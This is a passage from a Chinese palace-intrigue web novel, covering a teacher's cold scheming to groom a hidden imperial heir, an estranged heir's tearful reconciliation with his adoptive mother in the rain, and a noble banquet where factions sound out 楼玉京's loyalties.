楼悯弦眼里的赞赏褪去,徒留一片冷寂,那眼中的冷似是寒冬腊月里的冰,薄薄一层,冰面下方是暗流涌动。楼悯弦淡淡道:“还没到时候,阿韫,你应该知道世子和小公爷那晚和你说的是什么意思,一个半月的时间而已。” 楼韫张了张嘴,想说自己确实很想念楼玉京,但触及到他冰冷的脸色还是把话咽了下去。师公不会害他,暂时不见便不见罢,将来还是可以重逢的。 “少年心性不改,今日开始闭门思过,我会让你太师姑多找几本静心思过的书卷送到你房中。” “……好,那就麻烦太师姑了。” 楼韫回了自己的院中,烈日下他的影子又深又长,转身朝另一个方向去时带出第二个淡淡的影子,似乎在对那个极深的影子作斗争,说你不该妥协的,说你应该坚持的,你很久都没有见过阿爹了不是吗? 九曲回廊弯道多,楼韫一拐再拐,深色影子吞噬了淡色影子,重合之前它嘲讽地笑着,白齿森森,说将来的帝王不会成为重要之人的软肋。 楼悯弦在他离开那会就转身朝树下乘凉的沈蕤走去。 “阿蕤,麻烦你再教导他一些时日。” 一人站在阳光下,一人站在树荫里,沈蕤盯着他扯出一个僵硬的笑,说:“不麻烦,师兄。” 楼悯弦略点头,远远看去两人像一对和谐的师兄妹,只是男人话锋一转,与她说:“我知道你在想什么,但他和谢衍知不同,谢衍知只是一步棋,迟早会被拉下去。” 烈日灼心,烧得身上汗湿涔涔,沈蕤却浑身发冷,凉到了骨血里。 教养十几年的孩子,居然只是一步棋……在他心里,谢衍知的念旧是笑话,那楼玉京呢?日后立场冲突,到了明面,他会不会用同样的方式除掉她? 神太冷血了,任何人都只能望而却步,稍稍靠近就会被冻到血凝成冰。 “那你何苦在玉京面前佯装痛惜。”明知他可能不会留情,沈蕤还是听到自己颤抖的声音。 楼玉京也算是她看着长大的小辈,谢衍知她救不下来,毕竟对方已经登帝,但楼玉京还未正式站在棋盘之上,她还有机会救她啊。 “玉京不知我的冷血,我也不想她看到这一幕。”楼悯弦或许真的留有一丝人的余味,所以他不会对楼玉京不管不顾,但楼玉京于他而言,终究还是可以利用的逆鳞。 “好了阿蕤,再说下去就没意思了,我要去一趟李府,这里你看着,谢衍知那边我做了警告,短期内只要朝华保持中立他就不会来。” “……” “师兄,我竟不知你能狠心至此。”沈蕤看着他离去的方向喃喃道。 李府一如往常,只是难得主人家休息,李明德与夫人正在花园赏花闲聊,虽然夫人这半辈子只有二女,但他当年求了很久才求来这个妻子,自然也不能嫌弃,不说如胶似漆,却也不仅是相敬如宾那么淡薄。 “夫君难得休息,全用来陪我,不觉着荒废光阴么?” “夫人说的哪里话?当年为了娶你,我可是快把你家门槛都跪烂了,好不容易休息,不陪着你,我还能陪着那些冷冰冰的公务?” 李夫人掩面一笑,招呼身边端着糕点的侍从过来,捻起一块点心递到他嘴边,李明德眼底闪过笑意,张嘴正欲就这她的手吃下,忽然管家来报,说楼太傅递了拜帖上门。 李明德不耐地啧了一声,楼悯弦早不来晚不来,偏就要今日过来。 李夫人收回手,将糕点放了回去,柔声说:“去罢。” “抱歉夫人,我下回再陪你好么?” “好。” 两人在前院亭子里坐下的时候已经是傍晚了,夕阳西沉,橙红色的天边是火烧云一般壮观。 被打扰了与妻子的独处时光,李明德也不见得有多好的脸色,冷哼道:“楼太傅有什么急事非要今日来,改日你我坐在万兴楼交谈,鲜为人知,岂不更好?” “看来我今日来的确实不是时候,李丞相气性这样大,我打搅你与夫人了?” “少说废话,到底什么事?”李明德这会已经有点想赶人了,只是这么多年的礼仪让他忍着,何况夫人不喜鲁莽之人,他喝了杯茶压下气性。 “楼韫受我教导。”楼悯弦没有牵扯沈蕤,毕竟知道这个人的不多,沈蕤又还在朝华的身份,一旦传出来朝华在教导一个疑似皇室后裔的男人,对谁都不好。甚至按照谢衍知的性子很有可能会要她的命,多人围剿,沈蕤也会有力气用尽的一刻,而他不能插手,所以他不愿看见这一日。 闻言李明德眼珠一转,终于是严肃看向他,放下了茶杯。 “楼太傅,就算陛下不会动你,你也不至于这样胆大包天地告诉我,指不定哪天你和朝华就一起死了,禁卫军虽然不一定打得过她,但万人围剿你又不是第一次见。” 楼悯弦看了他一会,神色不变,眼底却越来越冷。他不会直接杀他,那不值得,朝堂需要李丞相,他也知道李明德一样想利用楼韫。 虽然楼悯弦的确不明白他为什么会知道楼韫的身份,但猜一个人的心思他还是可以做到的。 “丞相大人找他那么久,只是想要他的命吗?”楼悯弦当真是一点面子不留,言语委婉也不肯,直直戳他的心窝,揭他的脸面。 索性这里是李府,李明德也大度地不与他计较了。 “太傅日后说话还是不要这么刻薄,陛下能忍,本官能忍,其他人就不一定了。” “丞相大人,我与你说这件事,只想要一个方便,让你的人不要动楼韫。” “太傅不像是会求人的性子,只是您今日开口,是为了你那徒弟,还是为了楼韫?琼景王带他入京我不可能真的不知道,同样的你也知道我找了楼韫很久。” 天边越来越暗沉,火烧云的壮观只留了尾。 “我只为龙椅上的那位。” 谁是皇帝,他就为谁,但皇帝必须是他选择的认可的,谢衍知显然不是。 “无上皇太子与你到底是什么交情,让你跨了两代也要扶他的后裔上去。” “就凭无上皇无情,却是江山真正的主人,是一代明君。先帝驾鹤西去是他德不配位,哪怕他比当初的二皇子好上不止半分,也不过是庸君,整日守着恐惧,没有能耐还想踹了扶持他的人,他在位期间多少百姓叫苦?而谢衍知与他太像,又太软弱太念情分,这样的人做不好皇帝。” 李明德低低笑起来,笑到呛咳,咳到整张脸都涨红了。 楼悯弦没有看他一眼,等他自己缓过来,说:“你以为楼韫就能比他好到哪里去吗?难道楼韫就不会念旧,念情?你信不信楼玉京一句话,他也能做先帝那样的庸君,明明是他自己盖章涨税,却成了丞相贪婪,逼着他盖章,逼着他涨税,让丞相做了天下人的敌人。” 言罢又道,“太傅对自己还是太自信了,谢衍知是你教的,教成了当今模样,难道楼韫就会有所不同吗?不是的,除了当年的无上皇,近代皇帝两代都是草包!楼韫也是,难道你看不出来他心里只有楼玉京?不是的,你看得出来,楼悯弦,你知道在他心里楼玉京比天下人更重要,他就是这样的人。” 李明德笑得愈发开怀了,接着说:“所以你要楼韫变成皇帝,要楼玉京恨死他,甚至——最好楼玉京恨到对他动手,你要他崩溃后重塑,才能得到无上皇那样的帝王,楼悯弦,你真的太狠了。你自己养大的孩子都舍得用这招,狠到不像人。” 楼悯弦没有反驳,抬头看向火烧云已经彻底湮灭的黑暗天空,平静地说:“所以丞相愿意看到一个新的无上皇吗?” 李明德终于不笑了,冷静道:“当然,如果你能做到。” 楼悯弦回到楼府那会已经很晚了,沈蕤没有留宿,托侍女留了信与他,说自己暂时住在竹屋,如有要用,随时来信。楼悯弦看完将信收了起来,回书房了。 另一边楼玉京许久不见楼韫,想着带些他爱吃的点心送去,翻墙离开前白问引从暗处走出,喊住了她。 “楼老板,若是去找楼韫,请你带一份和离书回来,既然走到了这一步,那种身份留着也没意思了。” 楼玉京背着包袱,没有回头,只是应了他。毕竟好好一个世子,虽然名分上是废世子,但也不好一直让他占着她儿媳的身份,传出去他脸上也挂不住。 楼悯弦这会还在书房,一豆孤灯摇曳,照得他眉宇凌厉,薄唇紧抿。他提笔在纸上许久也没有写出一个字,门外忽然传来一声师父,那声音有些沙哑,又刻意压低,但他还是认得出来,是楼玉京。 许久不见,很久没有听到她的声音,像是从远方忽然传来,使得楼悯弦心上一震,手上一颤,一滴墨在纸上晕染开来,再也不得干净。 他没有去开门,楼玉京也没有主动推门,两人甚至都没有碰面,就只是隔着一道门交谈。楼悯弦放下了笔,朝着门外说:“来见阿韫?” 楼玉京沉默了一会,想说顺便来见你,可你怎么不开门。张了张口,话到嘴边,舌尖打转,出口的却成了一个是。 清风透过缝隙吹入,孤灯明灭,摇摇欲坠,楼悯弦想要伸手用袍袖去挡,终究晚来一步,微弱的灯光还是灭了,黑暗中一片死寂。 “不能见他么?”楼玉京又问他。 “可以。” 这些小事,他可以应允,反正到了最后这对父子也会一如琼景王父子那般反目,不如情感再深一些,越深的情就能衍生出越深的恨。 “他在你之前住过的院子里。” “多谢师父,那你多保重,我们就……先不见了。” “好。” 又是好,他不知道对楼玉京说过几次好,从她年幼到长大,千次万次都是好。 楼玉京并没有待太久,这里的布局她闭着眼睛都能走出去,所以只是简单与楼韫小叙,又拿了和离书让他签,临走前她摸了摸他的头,有些不舍:“阿韫,等一切结束,阿爹就接你回家。” 楼韫眼眶微红,身影与脸庞被油灯照着,那灯火也是红的,所以楼玉京没有看见,心尖酸涩。 “阿韫终究长大了,以前总抱着爹哭。” “我不能再哭了,爹,虽然我不是很喜欢白问引,但他说的没错啊,我不能做你的软肋。” “……保重。” 楼玉京拿起和离书,背着已经空了的包袱朝门外走去。 楼韫愣了片刻,回过神来即刻追了出去。师公和太师姑教了他那么久,他已经跑得很快了,但院子还是空的,连个人影都没有,原来他爹身手这么好,只是愣神的功夫就消失了。 翌日,白问引又去了万兴楼与沈为平交谈,李骁仍旧在隔壁吹嘘自己,只是附和的人少了几个,他也不觉着尴尬,毕竟他是李明德的侄子,谁又敢真的让他的话落地呢? 沈为平早已将楼韫之事与镇国公说了,那边沉寂这样久,还是让沈为平出来回话,死生不改,楼韫登帝,便扶楼韫。谁不知道当初无上皇的太平盛世。 离开时白问引还是撞上了宋则安,这女人不好好做自己的王妃,日日往万兴楼跑,真的没有认出自己吗? 哪怕他是以白倾熙的身份出来的,但她眼里流露出来的那些复杂与悲哀,甚至还有一丝不舍,不是假的。他是心瞎眼盲,也还不到彻底瞎了的地步。 白问引没有停留,宋则安没有阻拦,只是她看着他的背影掩面擦泪。 没有母亲认不出自己的孩子,就算那不是自己生的,可他是挚友的遗孤,是她养大的半个孩子,她心中的亲生子。 只是她不敢戳穿,怕他再次恶语相向,想尽办法不再出现。 白尧叙坐在另一个包厢,从窗口往下看,他什么都明白,宋则安不是傻子,她太聪明,所以得了这份掩面擦泪的结果,他叹息道:“则安,上来罢。” 宋则安坐在他对面,眼眶不再湿润,只是问他:“你早知道他是鹤明,为何不告诉我?” “则安,你知道我们卷入太深,我不希望你日日担忧,可你到底猜的出来。” “那王爷有没有想过我会因为那张相似的脸更加难安,我甚至害怕当初无漾产下龙凤胎,却被弃了女婴!” “是我的错。”白尧叙给她倒了一杯热茶,温声致歉,他这一生说过几次是我的错,对宋则安说,对萧鹤明在心中说,对萧无漾在坟前说。 是他的错,一步隐瞒,身边人寝食难安。废了世子还是被他强行卷入这场斗争,就算护了挚友多年,可在生产隐疾中依然束手无策。 宋则安终究叹息,冰凉的手握住另一只冰凉的手,两个人互相取暖一般。 “国公夫人递了拜帖,明日我会与她在王府相见,如果可以,让鹤明回家看看罢,将镇国公和小公爷都请来,你们三人商议。” “谢夫人。” 19. 黄鹤断矶头 琼景王府一早开门迎了镇国公一家,国公夫人与王妃言笑晏晏,彼此挽着对方的手往后院去了。镇国公被带去少时与白尧叙常待的八角凉亭,地上六角砖刻着鲤鱼的模样在大火中烧了三天三夜方才取用,铺了整条小道。 沈为平没有跟着他们,反倒是在正厅坐下喝茶,无趣时吃些侍女送来的糕点,与小厮闲聊工钱或是平日趣事,一直到白问引进门,他给小厮丢了几两碎银让他去别处忙活。 沈为平笑盈盈地起身朝着白问引迎上去,两人勾肩搭背。 “世子殿下多少年没回过家了?今日为了商议要事也只能忍着恶心进来,憋屈不憋屈?” 沈为平多少知道些当年的事,爹娘不去捅刀,作为外人也劝不下这个犟种。曾有人说让萧鹤明回头,需得萧无漾从棺材里爬出来亲自说清楚自己是王爷王妃的挚友,说宋则安是你娘,不会害我们母子,否则谁来了他跟前磨破嘴皮这个蠢货也一字不信。 谁让当初那么多人踩着萧三娘,萧家人又将他带回去灌输了那些肮脏思想,教他好坏不分,连爹娘都恨? 虽然不好多嘴,但好歹是朋友,他还是开口劝一劝他。 “要我说你不如搬回来,再再好好道声歉,喊句娘,世子的位置不就回到手里了?我知道你不在乎这个名分,但你想啊,万一你有了心上人,有这个身份不是更方便护着她么?” 白问引嗤笑一声,要他喊宋则安一句娘?不若叫他去死!至于那心上人……那心上人厉害得很——或者说那在他心尖暂时不算心上人,却也算是重要的人哪里要他护着?不把他放到自己身后都算好的。 将沈为平从自己身上扒拉开,白问引说:“滚。信不信我让你也没家可归?” “哎,我给你好好分析利弊呢,你叫我滚?信不信我下次不给你好酒,馋死你?” 八角凉亭边上就是池塘,风吹过带来水声潺潺,四面栽了些竹子,因为长的太高而被吹得摇曳不止,竹叶碰撞打出细微的窸窸窣窣声。 白尧叙与镇国公已经喝了不少酒,醉愁上心头,商议许久。 “虽然新帝登基,但三殿下不死,无上皇太孙隐在楼太傅门下,谢衍知快活不了多久。” 镇国公呵呵地笑,说:“那王爷现在还在扶持三殿下么?还是换成了太孙?” “那就要看老楼的女儿站谁了。” 笑意刹那僵硬,天边一片晴好,镇国公心头一震,手抖到酒水洒出,湿了袍袖。他声音有些颤抖,问白尧叙:“你说谁的女儿?老楼的女儿还活着?” “楼悯弦护着。” “!!!”镇国公瞪大双眼,忽然坐的绷直,醉意消失,往前几分压着声道:“楼悯弦没要她的命?为什么?” “太孙是楼玉京在养,楼悯弦不便出手,所以当初答应老楼收养玉京,转头老楼一死他就设局让楼玉京捡到楼韫。他本人突然多一个儿子太可疑,玉京若是女身,哪怕不被斩草除根,突然捡了个儿子,谁不会怀疑那个养子的来路?谁不怀疑楼悯弦背地培养太孙,又打算推楼玉京做皇后以便于控制?” 镇国公呼吸一滞,眼珠滴溜溜转了两圈,说:“所以那时候传出太傅收留的那对父子……” 白尧叙微微点头,又说:“玉京养了太孙一年后才陆续有人知道楼悯弦收养了一对父子,其父为徒,玉京和太孙的身世被他做了手脚,叫人想查也查不到,先帝那段时日又急又怕,偏就是拿他没办法。” “她与你回京了吗?” “回来了,改日商议,我带你们见见。” 酒水空了一坛又一坛,两个中年男人醉上脸,相视一笑,从政务聊到私事,又从年少聊到为官,跌跌撞撞,有苦有甜,兜兜转转又是多年。上过战场的还活着,经历过勾心斗角的没下马。 越醉越清醒,越清醒越上头。便看向了刺眼的太阳,糊涂了一般,一道说老楼,许久不见,你与夫人是否安好? 镇国公说:“改日我与王爷到你们坟前烧纸,你们闺女活着,活得好好的,只是天命难违,她没躲过,卷了进来。” 白尧叙接着说:“如果可以,我们尽量保证她活着。” 白尧叙盯着挚友,笑盈盈问:“这么快保证去烧纸,万一我骗你,我们一起输了死了,你会不会怨我?” “王爷说笑了,多年至交,我信得过你,战场上都没有输,回来了更不会输。待这次我们赢了,就去郊外纵马饮酒,寻那少时意气。” 欲买桂花同载酒,终不似少年游。 这份意气真的寻得回来吗? “好啊。”白尧叙大笑着应下,已经不愿去想这些了,与他碰杯,后仰头。 少年相识缘未尽,今而垂垂老矣仍是死生不改,挚友终其一生不曾互相背叛。 白尧叙有时候很想问你一直跟着我下注,难道终有一日不会后悔吗?像当初二皇子,三皇子那般被偷梁换柱多年鲜为人知,你我也只有跟着装傻。 如果楼韫是假的呢? 如果谢衍知比楼悯弦想的更会演戏,如果我们输了兵、赔了命。那我们的亲人被迫随着我们而死,又何其无辜? 我敬重的挚友,请问你真的不后悔吗? 我敬重的挚友,请问你为什么会向我提出这个问题,难道在你的眼里我是贪生怕死,明哲保身之人么? 镇国公醉到双颊通红,眼里有一闪而逝的湿润泪光,烈日当空,最安静的晌午时分只有蝉鸣鸟叫,耳边是池塘深处的锦鲤游走时的水声,眼里是层层涟漪,晃得两个人的脸都扭曲了。 与此同时,后院,宋则安与国公夫人闲聊许久,傍晚之前她要走了,宋则安拉住她,欲言又止,国公夫人会心一笑,那笑容温和,如春风和煦般,她说:“改日我会举办宴会,希望王妃能来。” “我会的,多谢夫人。” “那便恭候了,镇国公府的门永远为您打开。” 宋则安跟着送她到前院,恰逢白问引与沈为平正欲离开,四目相对,宋则安止步不前,瞳孔震颤。国公夫人拍了拍她的手,招呼沈为平先出了门。 白问引眉头一皱,移开视线,却也没有开口去刺她。 “鹤明……” “或许王妃该喊我白问引。” “你还是介意,鹤明,可你为什么不去查,既然你有本事卷进来,那你应该查得到当年到底发生了什么,是不敢吗?” 白问引脸色微变,衣袍下手握成拳,指甲扎进肉里,他低着头不接话。 是不敢吗? 宋则安终于问了出来,假如他只是白问引,是宋则安的亲生子,萧鹤明是他的堂亲,那他或许会站在母亲这边去劝他说你去查一查。但他不仅是白问引,他不就是萧鹤明吗? 他的养母问他,你是不敢查吗? 刚才还信誓旦旦说让他喊一声娘不若要他去死的男人,此刻居然不敢接话。 是在恐惧吗?真的不敢查吗?是害怕自己真的恨错了人,不知所措无法弥补,不愿意相信自己是个受人蒙骗的愚昧之人吗? 是的。萧鹤明不敢,白问引没资格。 “鹤明,你知道我心软,这些年但凡你喊我一句母亲我就什么都不会与你计较。可你不敢啊,明知真相却选择不面对,不是比不知道的人更加愚昧吗!” 耳边嗡鸣。 萧鹤明猛然回头朝门外跑了出去。 不能再面对了,他觉得他会比当初 的楼韫昏倒更快,醒来更晚,哪怕醒来也不如楼韫接受的那么快,他蠢到无可救药了,那就别叫醒他,教他蠢一辈子,蠢到死啊。 夜深人静,镇国公自己坐马车回国公府,白问引一人坐在桥头像个乞儿,路过的小孩远远看他,爹娘说为人行善也要看清楚,眼前这个男人看起来很落魄,但是身上的衣服能把他买下来。 孩子总是单纯的,既害怕是假的又害怕是真的,所以他不给钱,他把手上的那串糖葫芦放到了白问引面前,说哥哥,你饿了可以吃这个垫垫肚子,早点回家吧。 早点回家吧。 又是一个让他回家的善人,他笑了笑,把糖葫芦还给小男孩,说哥哥有钱,哥哥不饿,你拿去吃吧。 见那个孩子不走,他叹息起身买了一包点心,吃了一块,把剩下的给他,笑道:“这下信了吗?” 小男孩很高兴地捧着糕点回家,说要给爹娘尝尝。 孝而不愚,笨而不蠢。 要去查吗?真的要做一个蠢到死去的瞎子吗?年幼的孩子尚且知道该怎么为善,他居然连个孩子都不如。 “殿下若拿不定主意,我可以帮你查,至于要不要知道,你可以在这段时间内好好想想。” 循声望去,桥的另一边是楼玉京。 楼玉京还是那么爱多管闲事,当初在江南就是这样的,楼老板是这样的,楼玉京还是这样。 风渐渐大了,很快有人收摊,街上的行人开始小跑着朝家奔去,白问引没有动。 第一滴雨落下就如豆大,砸在身上触感明显,楼玉京打了伞,眼睁睁看着他被雨幕吞噬,浇了个透彻。 “清醒了吗?” 她的声音透过雨幕传到耳边,有些模糊,白问引点了点头。 “你就看着我淋雨?” “把脑子里的水冲出去也没什么不好,白问引,她是你娘,无故因为流言遭你憎恨,她不委屈吗?可她还是不与你计较,你娘在天之灵难道不会心疼自己的挚友吗!” 一沓纸猛然被挥了出去,在雨幕中瞬间打落在地,真相沉浮,于眼前化作走马灯。宋则安真的亏待过他,白尧叙真的有说过喜欢阿娘吗? 没有的。 没有的! 他弯下腰捡起湿透的纸,字迹已经有些糊了,看他还是看得出来。 是真相啊。 是他们嫉妒阿娘,是萧府得不到好处就要毁了阿娘,是云姨娘歹毒至此利用他搅的整座琼景王府天翻地覆。 可又不仅是云姨娘,是他外祖父宠妾灭妻,是他外祖父不重视阿娘也不在乎他,是他蠢! 说到底如果没有其他助力,如果外祖父真心疼爱,单凭云姨娘怎么可能毁了阿娘呢? “哈……哈哈……哈哈哈哈……啊——!” 他跪在地上嘶吼痛哭,电闪雷鸣,雷声盖过了他的恸哭,让他的泪水和着雨水一道落地。 “娘……娘……对不起……对不起……是我的错……是我愚昧……恕我一意孤行心瞎眼盲,是我装聋作哑不敢承认——娘,是我错了啊……” 宋则安在楼玉京身后的酒馆隔着窗口往下看去,掩面擦泪。 被痛恨半生终于换来了一句道歉,真的不恨吗? 不可能的,只是那张脸和萧无漾那么像,总让她心软恨不起来啊…… 白问引在雨幕中崩溃痛哭,到了最后跪在地上双手捶地,嗓子都哑了。 雨还在下,楼玉京始终没有往前走一步,没有为他打伞,有些债他要自己还,很多事外人没法替主人原谅,她能做的只有揭露真相,在主人允许的情况下站在雨里撑着伞,远远看着人,不让他出事。 也就仅此而已了。 20. 我亦飘零久 镇国公府许久没有这样热闹了一场赏花宴盛邀京中贵妇贵女,来着有攀附之心也有看个热闹的,李府暂时没有来人,礼却先到了。李明德清楚这场宴会是为琼景王府而开,既有足够大的面子请人,也不会将琼景王府架在火上烤。 贵妇虚伪地笑着,往日宴会总有人将女儿往小公爷身边推,现在这些人精倒是不愿趟浑水。 楼玉京混在一群小厮当中,白问引也没有大张旗鼓地公开露面,头戴帷帽遮了半个身子才和宋则安先后进门,惹得一阵好奇,伸长了脖子盼一阵风吹开这层纱,教人好生看看这位废世子的模样。 可惜天不遂人愿,微风吹来让人舒适,却不足以吹开这层纱。 其中一位贵妇掩面笑道:“王妃仁善,被废黜的世子都肯带出来。” 一句话叫白问引被踩在脚下,羞辱的意味藏在这句看似夸赞王妃大度的话里,嘲讽又恶心。没有人真的敢把潜台词说出来,就算这位当下是废世子,将来王府也是要交给他的,谁叫王妃半生无所出呢。 白尧叙早早去了镇国公的书房与之商讨,许要到晌午方才露面。宋则安温婉一笑,出口倒不是那么温柔了,带着些反唇相讥的意思:“沈夫人谬赞了,难道你会不允许自己家被告老还乡的丈夫出门,不许未考取功名的嫡子参与聚会么?” 被称作沈夫人的贵妇脸色一白,周遭有人小声地笑,还算是给她留点体面,没有接话讽刺她。 沈为平抛着苹果,四下扫视,见她们都在看沈夫人与宋则安,没人注意到这边,才啃着苹果将人拉到角落,压着声颇为不可置信地道:“我以为你不会来。” “不得不来,探探底也好。” “你与你娘冰释前嫌了?怎么见你与她一道过来?” 长纱之下不过是扯唇笑得讥讽,无声地讽自己过去痴傻,讽那夜不如孩童通透。白问引开口与他解释,仍不曾揭开长纱,谨慎终究没有错,万一碰上个迷路的局外人走到这里,看见他的脸就得不偿失了。 沈为平握着苹果慢慢听他说,不过是复述一遍过去又追加一夜清明,墨汁晕染开的真相被他晾干了锁在铁盒子里,藏在琼景王府的桃花树下。 是宋则安与他一块埋进去的,本不该开花的季节,只是落叶飘飘,枯黄至死。 “原来如此,楼老板为人仗义,肯帮你们,你也没有真的要蠢到死。” “有人肯帮我,我若不领情说不过去,何况她与我还只是合作关系。” 沈为平嗤笑,将手中的苹果丢给他:“真的只是合作么?世子眼观八方,难道真看不出楼玉京什么心思?上回吃饭我看见她袖口那节断玉了,我且问你,那不是你带去江南的信物吗?就算她把你当死敌,拿到你东西的那一刻就要毁了,还能给你保存这么久?” “你怎么知道人家心里没把我当朋友。” 这回沈为平到真的带上了嘲讽,讥笑道:“楼玉京前几天深夜烧纸,拿着你那块玉自言自语,隔的太远我没听清她说了什么,但她走后我看了周围,她那张没烧完的纸漏了一角,我捡起来一看,写的是未亡人。” 白问引:“……!” “震惊了?把你当朋友当兄弟能写未亡人?”他说着又恢复成吊儿郎当的模样,伸手拍了拍白问引的肩膀,拂去本就不存在的灰尘,淡淡道:“留心看看罢,楼玉京真的不是生了心思么?” “我上次问过她,她说不是。” “她说不是就真的不是?” “她从不骗人。” 沈为平静静看了他一会,舌尖顶腮,颇为恶劣地笑起来,“她说什么你都信,难道你是断袖?” 白问引没忍住挂了脸,虽然看不见,但沈为平还是感受到他的不爽,他非但没有收敛,反倒更加恶劣地说:“戳你心窝了,这么生气?” 白问引:“……” 白问引把苹果丢回去,拂袖想走,这会镇国公和白尧叙才往花园走去,远看像是谈笑风生的老友,白问引路过听他们谈的却是楼玉京。 他脚步一顿,身子转了一圈又跟在他们身后往前走了,沈为平站在原地没动,盯着他渐行渐远的身影,早在几天前他刚发现有关于楼玉京的事总能勾住他。 这个曾经不愿和他多说一句话,只对自己母亲的事上心的人,终于又接下了一件新的麻烦事。 他吃了手中的苹果,抬头看了眼烈日当空,才慢悠悠往宴会方向走。 楼玉京这会还在厨房忙活,掌事见她眼生,误以为是新招来的小厮,将盘子往她手上一放,中气十足地命令道:“送去宴客厅。” 楼玉京端着点心低着头往宋则安那边送,国公夫人放下茶杯似笑非笑地看了她一眼,又朝镇国公使了个眼色,后者了然,低声与白尧叙说了些什么,跟着楼玉京一道去了后厨。 白问引正欲起身跟上,白尧叙眼疾手快扣住他,压着声警告道:“坐下。” 白问引眼神一凛,周身寒意蔓延,任凭靠近的都能感受到他的不悦,白尧叙还是没有松手。 “鱼龙混杂,如果你不想害她,就给我坐好。” 这句话显然是扎醒了他,多年难得在众人眼里出现,指不定多少人盯着,楼玉京身份特殊,又牵扯身后太多,这时若有人查出,便是功亏一篑。 见他没再试图挣脱,白尧叙才继续说:“李芷华会过来,玉京那边你不必担忧,国公爷不会害她,国公夫人前几日见了谢夫人,你知道这意味着什么。” “李芷华过来,三皇子那边谁去看?” “三皇子或将出局,你认为玉京会在楼韫和三皇子之间怎么选?且等她之后见了谢允,再做决定。” 后厨廊道鲜少有人路过,楼玉京在拐角被拦下,她低垂着头压着声嗓恭敬道:“国公爷。” “玉京,抬头。” 楼玉京:“!” 心中震颤,可她还是没有贸然行动,镇国公叹息一声,往前一步,她后退一步。 镇国公脚步一顿,没有再往前,只是与她说:“我没有恶意。你震惊是认为我认出你,与李明德有关是么?” “……” “那日王爷与我说时我亦不可置信,几乎大部分人都以为他的女儿死了,也包括我,可你还是站在我跟前,活得好好的。”镇国公说,“你见不到谢允,他夫人也不会容许一个早已淡出记忆的陌生人去见他,但我可以帮你引荐。” “国公爷许是认错了人,我不认识谢氏人。”虽说沈为平那日带的是整个国公府的诚意,但谁知道这么些年,镇国公与李明德私底下真的没有什么,这层身份实在是太过特殊,不能轻易认下。 “楼老板。”身后是国公夫人在靠近,对方并不强势,带着一贯的温和,“请相信我们的诚意,你与我儿已经见过了不是吗?” “夫人说笑了。” “我与谢夫人已然谈妥,今夜万兴楼三楼包间可以一叙。如果你信不过我们,总该信得过王爷,信得过世子。” 万兴楼三楼并不对外开放,一般真正能上去的,往往都是皇亲国戚或是一些像李明德,镇国公的臣子。 “我们见你,只是想知道在三殿下与皇太孙之间,你会选谁。” “……” “不必惊讶,楼老板,或许你不记得了,在你年幼时我与你母亲私交甚密,她算我的半个先生,楼家倒台后我们曾跟楼悯弦问过你,他说你已经死了,我们找过几年,你没有半点消息。” 如果知道她活着,知道她在江南,知道春歇楼是她开设,这些年他们不会让她吃太多苦。 深恩负尽,死生师友。可明明任她漂泊许久,她也不曾生出半分怨念。 “几时?”楼玉京太久没有开口,声音有些哑,又问:“王爷去么?” 国公爷答道:“自然会去,亥时相见。” “好。” 李芷华到场的时候接近尾声,已经有人提前离开了,余下还在的见了她,纷纷皱眉,小声讨论起来。她并不在意这些人说了什么,从一开始目标就很明确,朝着白尧叙走去,白尧叙没等她靠近,只是用口型说:后厨。 是白问引的交代,他不能露面,也不可能当众显得和李芷华很熟,就只有白尧叙开这个口。 这是楼玉京第一次见李芷华,对方身形并不单薄,带着常年习武的力量感,手上的茧子反反复复再也没有好过。 “李姑娘。” 国公夫人和镇国公对视一眼,悄然回了宴客厅,将空间留给两人。 “楼老板,久仰。” 声音偏粗犷,如果不是白问引与她说对方是女人,她或许真的会信她是男人。 李芷华像是明白她在想什么,微微一笑,说:“不怪楼老板误会,我与楼太傅只是远远见过几次,加上有意引导,他才与你说我是男人。” “李姑娘大度,我替师父赔不是。” “不必,在楼太傅眼里做个男人也未必不是好事。” 李芷华侧身看向了廊道花圃,早上才有人浇了水,这会绿植生机勃勃。 “楼老板,我此次见你,只是想知道你的答案。不瞒你说,家父已经决定下一任帝王选择了你的养子,我想知道你还会三殿下吗?” 楼玉京盯着她看了会,笑出了声:“怎么人人都要问我的想法,那你呢,李姑娘,你怎么想?” “我?”李芷华重新看向对方的眸子,平静地道:“我只选赢家。” 从小父亲就与她说,她是养女,是未来的一步棋,李明德不屑于去掩藏这件事,吃了李家的饭,死了都得冠上李明德女儿的名。 “父亲说陛下如今还没有皇后,他有意推我上去,但是楼老板,我认为楼韫更有胜算,你们所有人——包括我爹,楼太傅,都更愿意扶他,那我为什么要做谢衍知的皇后?他这个地位从一开始就坐不久。” “当然了,我知道您有儿媳妇,一宫两后,如果她愿意,我可以接受,我要的只是权,不是人。” “哦哦,我儿媳妇啊,你还不知道白问引是我儿媳妇吗?” 楼玉京非常不客气地丢了白问引的脸。 李芷华:“?” “开个玩笑李小姐,我儿媳妇已经因为江南追杀的事跟阿韫和离了,至于皇后,权力还是不够大,李小姐不如努努力, 做女帝。” 李芷华道:“女帝万人反驳,不如做个可以控制皇帝的皇后,反正龙椅上那位终归是要受李家限制的,皇后这个身份暗箱操控,行使女帝的权,那群老不死的也没有证据可以弹劾我。比直接做女帝省心得多。” “所以,楼老板,我希望届时你能帮我劝劝楼韫。” “阿韫如何选我不能干预,但你信誓旦旦地找到我,与我说了这些,我想问你,李小姐,你能给我什么?” “将来有一天你一定会要楼悯弦的命。” 楼玉京瞳孔震颤,将来有一天……她会要师父的命? “我暂时只能告诉你这些,毕竟这句你都不一定信我,之后的就更加觉得荒唐了,不如你自己一步步走进去,看看会不会如我所说。” 一场赏花宴到了晌午,几个时辰过去,宋则安反反复复观察许久,能够谈判的只有几位夫人。余下要么是拥护当今帝王,要么是中立,不愿掺和。 于他们来说谁做皇帝都不会影响他们的地位,又何必费尽心力去站队争抢。 这就是人啊。 后来她与白尧叙商量,白尧叙沉默许久,天边将将暗沉,他轻声说:“问。就算只多一个人,也多一份胜算,谢衍知不可能不设防,甚至会从刚登基就开始留退路了。我们不能输。” 输了一次是先帝死的太早,不能再输第二次了,就算要输,也不能输的这么难看。 楼悯弦不知从哪听说了镇国公为楼玉京引荐谢允,当初他三顾茅庐都请不出来的人终于还是见了老友的女儿,这份动作很轻,李明德听到的时候已经过去三天了。他甚至笑了楼悯弦没面子,默许他们私下联系。 楼悯弦抽空去见了楼玉京,一眼看穿去只觉得对方似乎胖了点,不怪他看穿,楼玉京以前实在是瘦,还挑嘴。 楼玉京老远就是看见他在树下站着看自己,只是没有主动走过去,一直在等,楼悯弦却像是中了邪,盯着她不说话也不动。 